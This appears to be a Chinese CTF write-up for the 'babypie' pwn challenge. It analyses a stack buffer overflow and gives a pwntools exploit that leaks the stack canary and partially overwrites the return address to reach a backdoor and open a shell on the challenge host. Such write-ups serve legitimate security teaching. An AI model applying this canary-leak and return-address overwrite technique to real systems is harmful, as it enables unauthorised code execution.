babypie
1.保护检查

开启了pie保护,也有canary
2.源码分析
主函数
1 2 3 4 5
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { sub_960(a1, a2, a3); return 0LL; }
|
进入sub_960()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| __int64 sub_960() { __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF
buf[5] = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); memset(buf, 0, 32); puts("Input your Name:"); read(0, buf, 0x30uLL); printf("Hello %s:\n", (const char *)buf); read(0, buf, 0x60uLL); return 0LL; }
|

buf有48个字节,第一次输入是48字节,不能进行溢出,但是可以填写特定数量的字节泄露canary。第二次输入96个字节,肯定可以溢出。那么思路就是第一次输入泄露canary,第二次输入进行溢出。

程序中已经给出了后门

后门的偏移为0xa3f

在调试时看到原来存储的返回地址偏移为a6a,所以在第二次溢出时只需覆盖返回地址的一个字节就能拿到shell。
3.exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(os='linux',arch='amd64',log_level='debug') #p = process("./buu") p = remote('node4.buuoj.cn',27327) sh = 0xa3f
p.recv() payload = 'a'*40 + 'b' p.send(payload) p.recvuntil("aab") canary = u64(p.recv(7).ljust(8,"\x00")) * 0x100 p.recv() payload = 'a'*40 + p64(canary) + 'a'*8 + "\x3f" p.send(payload)
p.interactive()
|
